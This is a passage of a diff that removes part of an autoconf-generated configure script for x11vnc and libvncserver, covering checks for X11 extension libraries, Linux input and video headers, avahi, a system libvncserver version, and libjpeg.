-char FBPMForceLevel ();
-int
-main ()
-{
-return FBPMForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_FBPMForceLevel=yes
-else
- ac_cv_lib_Xext_FBPMForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_FBPMForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_FBPMForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_FBPMForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_FBPM 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_dpms" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for DPMSForceLevel in -lXext" >&5
-$as_echo_n "checking for DPMSForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_DPMSForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char DPMSForceLevel ();
-int
-main ()
-{
-return DPMSForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_DPMSForceLevel=yes
-else
- ac_cv_lib_Xext_DPMSForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_DPMSForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_DPMSForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_DPMSForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_DPMS 1" >>confdefs.h
-
-fi
-
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestGrabControl in -lXtst" >&5
-$as_echo_n "checking for XTestGrabControl in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestGrabControl+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestGrabControl ();
-int
-main ()
-{
-return XTestGrabControl ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestGrabControl=yes
-else
- ac_cv_lib_Xtst_XTestGrabControl=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestGrabControl" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestGrabControl" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestGrabControl" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTESTGRABCONTROL 1" >>confdefs.h
- HAVE_XTESTGRABCONTROL="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestFakeKeyEvent in -lXtst" >&5
-$as_echo_n "checking for XTestFakeKeyEvent in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestFakeKeyEvent+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestFakeKeyEvent ();
-int
-main ()
-{
-return XTestFakeKeyEvent ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestFakeKeyEvent=yes
-else
- ac_cv_lib_Xtst_XTestFakeKeyEvent=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestFakeKeyEvent" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestFakeKeyEvent" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestFakeKeyEvent" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTEST 1" >>confdefs.h
- HAVE_XTEST="true"
-fi
-
-
- if test "x$with_xrecord" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRecordEnableContextAsync in -lXtst" >&5
-$as_echo_n "checking for XRecordEnableContextAsync in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XRecordEnableContextAsync+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRecordEnableContextAsync ();
-int
-main ()
-{
-return XRecordEnableContextAsync ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XRecordEnableContextAsync=yes
-else
- ac_cv_lib_Xtst_XRecordEnableContextAsync=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XRecordEnableContextAsync" >&5
-$as_echo "$ac_cv_lib_Xtst_XRecordEnableContextAsync" >&6; }
-if test "x$ac_cv_lib_Xtst_XRecordEnableContextAsync" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_RECORD 1" >>confdefs.h
-
-fi
-
- fi
-
- # we use XTRAP on X11R5, or user can set X11VNC_USE_XTRAP
- if test "x$with_xtrap" != "xno"; then
- if test ! -z "$X11VNC_USE_XTRAP" -o -z "$HAVE_XTESTGRABCONTROL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXTrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXTrap... " >&6; }
-if ${ac_cv_lib_XTrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXTrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XTrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XTrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XTrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XTrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XTrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXTrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- # tru64 uses libXETrap.so
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXETrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXETrap... " >&6; }
-if ${ac_cv_lib_XETrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXETrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XETrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XETrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XETrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XETrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XETrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXETrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xkeyboard" != "xno"; then
- saved_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $X_CFLAGS"
- ac_fn_c_check_header_compile "$LINENO" "X11/XKBlib.h" "ac_cv_header_X11_XKBlib_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_XKBlib_h" = xyes; then :
- HAVE_XKBLIB_H="true"
-else
- HAVE_XKBLIB_H="false"
-fi
-
-
- CPPFLAGS="$saved_CPPFLAGS"
- if test $HAVE_XKBLIB_H = "true"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XkbSelectEvents in -lX11" >&5
-$as_echo_n "checking for XkbSelectEvents in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XkbSelectEvents+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XkbSelectEvents ();
-int
-main ()
-{
-return XkbSelectEvents ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XkbSelectEvents=yes
-else
- ac_cv_lib_X11_XkbSelectEvents=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XkbSelectEvents" >&5
-$as_echo "$ac_cv_lib_X11_XkbSelectEvents" >&6; }
-if test "x$ac_cv_lib_X11_XkbSelectEvents" = xyes; then :
- $as_echo "@%:@define HAVE_XKEYBOARD 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xinerama" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XineramaQueryScreens in -lXinerama" >&5
-$as_echo_n "checking for XineramaQueryScreens in -lXinerama... " >&6; }
-if ${ac_cv_lib_Xinerama_XineramaQueryScreens+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXinerama $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XineramaQueryScreens ();
-int
-main ()
-{
-return XineramaQueryScreens ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xinerama_XineramaQueryScreens=yes
-else
- ac_cv_lib_Xinerama_XineramaQueryScreens=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xinerama_XineramaQueryScreens" >&5
-$as_echo "$ac_cv_lib_Xinerama_XineramaQueryScreens" >&6; }
-if test "x$ac_cv_lib_Xinerama_XineramaQueryScreens" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXinerama"
- $as_echo "@%:@define HAVE_LIBXINERAMA 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_xrandr" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRRSelectInput in -lXrandr" >&5
-$as_echo_n "checking for XRRSelectInput in -lXrandr... " >&6; }
-if ${ac_cv_lib_Xrandr_XRRSelectInput+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXrandr $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRRSelectInput ();
-int
-main ()
-{
-return XRRSelectInput ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xrandr_XRRSelectInput=yes
-else
- ac_cv_lib_Xrandr_XRRSelectInput=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xrandr_XRRSelectInput" >&5
-$as_echo "$ac_cv_lib_Xrandr_XRRSelectInput" >&6; }
-if test "x$ac_cv_lib_Xrandr_XRRSelectInput" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXrandr"
- $as_echo "@%:@define HAVE_LIBXRANDR 1" >>confdefs.h
- HAVE_LIBXRANDR="true"
-fi
-
- fi
-
- if test "x$with_xfixes" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XFixesGetCursorImage in -lXfixes" >&5
-$as_echo_n "checking for XFixesGetCursorImage in -lXfixes... " >&6; }
-if ${ac_cv_lib_Xfixes_XFixesGetCursorImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXfixes $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XFixesGetCursorImage ();
-int
-main ()
-{
-return XFixesGetCursorImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xfixes_XFixesGetCursorImage=yes
-else
- ac_cv_lib_Xfixes_XFixesGetCursorImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xfixes_XFixesGetCursorImage" >&5
-$as_echo "$ac_cv_lib_Xfixes_XFixesGetCursorImage" >&6; }
-if test "x$ac_cv_lib_Xfixes_XFixesGetCursorImage" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXfixes"
- $as_echo "@%:@define HAVE_LIBXFIXES 1" >>confdefs.h
- HAVE_LIBXFIXES="true"
-fi
-
- fi
-
- if test "x$with_xdamage" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XDamageQueryExtension in -lXdamage" >&5
-$as_echo_n "checking for XDamageQueryExtension in -lXdamage... " >&6; }
-if ${ac_cv_lib_Xdamage_XDamageQueryExtension+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXdamage $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XDamageQueryExtension ();
-int
-main ()
-{
-return XDamageQueryExtension ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xdamage_XDamageQueryExtension=yes
-else
- ac_cv_lib_Xdamage_XDamageQueryExtension=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xdamage_XDamageQueryExtension" >&5
-$as_echo "$ac_cv_lib_Xdamage_XDamageQueryExtension" >&6; }
-if test "x$ac_cv_lib_Xdamage_XDamageQueryExtension" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXdamage"
- $as_echo "@%:@define HAVE_LIBXDAMAGE 1" >>confdefs.h
- HAVE_LIBXDAMAGE="true"
-fi
-
- fi
-
- if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
- # need /usr/sfw/lib in RPATH for Solaris 10 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
- esac
- fi
- if test ! -z "$HAVE_LIBXRANDR"; then
- # also need /usr/X11/include for Solaris 10 10/08 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) CPPFLAGS="$CPPFLAGS -I/usr/X11/include" ;;
- esac
- fi
-
- X_LIBS="$X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS"
- fi
- # end x11vnc only.
-fi
-
-
- if test $HAVE_X11 != "false"; then
- HAVE_X11_TRUE=
- HAVE_X11_FALSE='#'
-else
- HAVE_X11_TRUE='#'
- HAVE_X11_FALSE=
-fi
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-if test "x$HAVE_X11" = "xfalse" -a "x$with_x" != "xno"; then
- as_fn_error $? "
-==========================================================================
-*** A working X window system build environment is required to build ***
-x11vnc. Make sure any required X development packages are installed.
-If they are installed in non-standard locations, one can use the
---x-includes=DIR and --x-libraries=DIR configure options or set the
-CPPFLAGS and LDFLAGS environment variables to indicate where the X
-window system header files and libraries may be found. On 64+32 bit
-machines you may need to point to lib64 or lib32 directories to pick up
-the correct word size.
-
-If you want to build x11vnc without X support (e.g. for -rawfb use only
-or for native Mac OS X), specify the --without-x configure option.
-==========================================================================
-" "$LINENO" 5
-fi
-
-if test "x$HAVE_X11" = "xtrue" -a "x$HAVE_XTEST" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-if test "x$with_v4l" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/videodev.h" "ac_cv_header_linux_videodev_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_videodev_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_VIDEODEV_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_fbdev" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/fb.h" "ac_cv_header_linux_fb_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_fb_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_FB_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_uinput" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/input.h" "ac_cv_header_linux_input_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_input_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_INPUT_H 1" >>confdefs.h
- HAVE_LINUX_INPUT_H="true"
-fi
-
-
- if test "x$HAVE_LINUX_INPUT_H" = "xtrue"; then
- ac_fn_c_check_header_compile "$LINENO" "linux/uinput.h" "ac_cv_header_linux_uinput_h" "#include <linux/input.h>
-"
-if test "x$ac_cv_header_linux_uinput_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_UINPUT_H 1" >>confdefs.h
-
-fi
-
-
- fi
-fi
-
-if test "x$with_macosx_native" != "xno"; then
- $as_echo "@%:@define HAVE_MACOSX_NATIVE_DISPLAY 1" >>confdefs.h
-
-fi
-
-# Check for OS X opengl header
-ac_fn_c_check_header_mongrel "$LINENO" "OpenGL/OpenGL.h" "ac_cv_header_OpenGL_OpenGL_h" "$ac_includes_default"
-if test "x$ac_cv_header_OpenGL_OpenGL_h" = xyes; then :
- $as_echo "@%:@define HAVE_MACOSX_OPENGL_H 1" >>confdefs.h
- HAVE_MACOSX_OPENGL_H="true"
-fi
-
-
-
-
-
-@%:@ Check whether --with-avahi was given.
-if test "${with_avahi+set}" = set; then :
- withval=$with_avahi;
-fi
-
-if test "x$with_avahi" != "xno"; then
- printf "checking for avahi... "
- if test ! -z "$with_avahi" -a "x$with_avahi" != "xyes"; then
- AVAHI_CFLAGS="-I$with_avahi/include"
- AVAHI_LIBS="-L$with_avahi/lib -lavahi-common -lavahi-client"
- echo "using $with_avahi"
- with_avahi=yes
- elif pkg-config --atleast-version=0.6.4 avahi-client >/dev/null 2>&1; then
- AVAHI_CFLAGS=`pkg-config --cflags avahi-client`
- AVAHI_LIBS=`pkg-config --libs avahi-client`
- with_avahi=yes
- echo yes
- else
- with_avahi=no
- echo no
- fi
-fi
-if test "x$with_avahi" = "xyes"; then
- $as_echo "@%:@define HAVE_AVAHI 1" >>confdefs.h
-
-
-
-fi
-
-fi
-# end x11vnc only.
-
-# only used in x11vnc/Makefile.am but needs to always be defined:
- if test "$HAVE_MACOSX_OPENGL_H" = "true"; then
- OSX_OPENGL_TRUE=
- OSX_OPENGL_FALSE='#'
-else
- OSX_OPENGL_TRUE='#'
- OSX_OPENGL_FALSE=
-fi
-
-
-# Checks for libraries.
-
-if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- printf "checking for system libvncserver... "
- vneed="0.9.1"
- if test "X$VNEED" != "X"; then
- vneed=$VNEED
- fi
- if test "x$with_system_libvncserver" != "xyes"; then
- rflag=""
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag="-Xlinker -R$with_system_libvncserver/lib"
- else
- rflag="-R$with_system_libvncserver/lib"
- fi
- cmd="$with_system_libvncserver/bin/libvncserver-config"
- if $cmd --version 1>/dev/null 2>&1; then
- cvers=`$cmd --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- with_system_libvncserver=no
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS="-I$with_system_libvncserver/include"
- SYSTEM_LIBVNCSERVER_LIBS="-L$with_system_libvncserver/lib $rflag -lvncserver -lvncclient"
- echo "using $with_system_libvncserver"
- with_system_libvncserver=yes
- fi
- else
- echo " *** cannot run $cmd *** " 1>&2
- with_system_libvncserver=no
- echo no
- fi
- elif libvncserver-config --version 1>/dev/null 2>&1; then
- rflag=""
- rprefix=`libvncserver-config --prefix`
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag=" -Xlinker -R$rprefix/lib "
- else
- rflag=" -R$rprefix/lib "
- fi
- cvers=`libvncserver-config --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS=`libvncserver-config --cflags`
- SYSTEM_LIBVNCSERVER_LIBS="$rflag"`libvncserver-config --libs`
- with_system_libvncserver=yes
- echo yes
- fi
- else
- with_system_libvncserver=no
- echo no
- fi
-fi
-
-if test "x$with_system_libvncserver" = "xyes"; then
- $as_echo "@%:@define HAVE_SYSTEM_LIBVNCSERVER 1" >>confdefs.h
-
-
-
-fi
- if test "x$with_system_libvncserver" = "xyes"; then
- HAVE_SYSTEM_LIBVNCSERVER_TRUE=
- HAVE_SYSTEM_LIBVNCSERVER_FALSE='#'
-else
- HAVE_SYSTEM_LIBVNCSERVER_TRUE='#'
- HAVE_SYSTEM_LIBVNCSERVER_FALSE=
-fi
-
-
-
-
-@%:@ Check whether --with-jpeg was given.
-if test "${with_jpeg+set}" = set; then :
- withval=$with_jpeg;
-fi
-
-
-# At this point:
-# no jpeg on command line with_jpeg=""
-# -with-jpeg with_jpeg="yes"
-# -without-jpeg with_jpeg="no"
-# -with-jpeg=/foo/dir with_jpeg="/foo/dir"
-
-HAVE_LIBJPEG_TURBO="false"
-
-if test "x$with_jpeg" != "xno"; then
-
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- saved_LIBS="$LIBS"
- if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then
- # add user supplied directory to flags:
- CPPFLAGS="$CPPFLAGS -I$with_jpeg/include"
- LDFLAGS="$LDFLAGS -L$with_jpeg/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
- fi
- fi
- if test "x$JPEG_LDFLAGS" != "x"; then
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$LIBS $JPEG_LDFLAGS"
- else
- LIBS="-ljpeg"
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "jpeglib.h" "ac_cv_header_jpeglib_h" "$ac_includes_default"
-if test "x$ac_cv_header_jpeglib_h" = xyes; then :
- HAVE_JPEGLIB_H="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for jpeg_CreateCompress in libjpeg" >&5
-$as_echo_n "checking for jpeg_CreateCompress in libjpeg... " >&6; }
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char jpeg_CreateCompress ();
-int
-main ()
-{
-return jpeg_CreateCompress ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
